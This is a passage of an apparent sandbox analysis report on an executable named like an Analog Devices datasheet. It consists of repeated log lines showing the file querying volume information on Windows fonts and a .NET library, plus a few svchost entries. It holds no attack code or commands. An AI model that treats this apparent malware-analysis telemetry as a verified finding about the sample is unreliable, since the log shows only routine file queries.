Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\comic.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\comici.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\constan.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\constani.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\corbell.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\corbelli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\cour.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\couri.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\framdit.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\FRADMIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\FRAMDCN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\Gabriola.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\gadugi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\gadugib.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\georgia.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\impact.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\malgunsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\taile.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\msyi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\monbaiti.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\mvboli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\mmrtext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\NirmalaS.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\NirmalaB.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\pala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\palai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\palab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\trebuc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\AGENCYB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\ANTQUAB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\ANTQUABI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\BAUHS93.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\BELL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\BELLI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\BERNHC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\BOD_R.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\BOD_CB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\BOD_PSTC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\BOOKOS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\BOOKOSB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\CALIFR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\CALIFB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\CASTELAR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\SCHLBKI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\COOPBL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\ERASLGHT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\ERASDEMI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\ERASBD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\FRABKIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\GIGI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\GIL_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\GILI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\GILC____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\GOUDOS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\GOUDOSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\HATTEN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\HTOWERT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\HTOWERTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\IMPRISHA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\INFROMAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\JOKERMAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\LBRITE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\LCALLIG.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\LEELAWAD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\LFAXD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\LTYPE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\LTYPEO.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\OLDENGL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\ROCKB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\SNAP____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\cour.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\couri.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
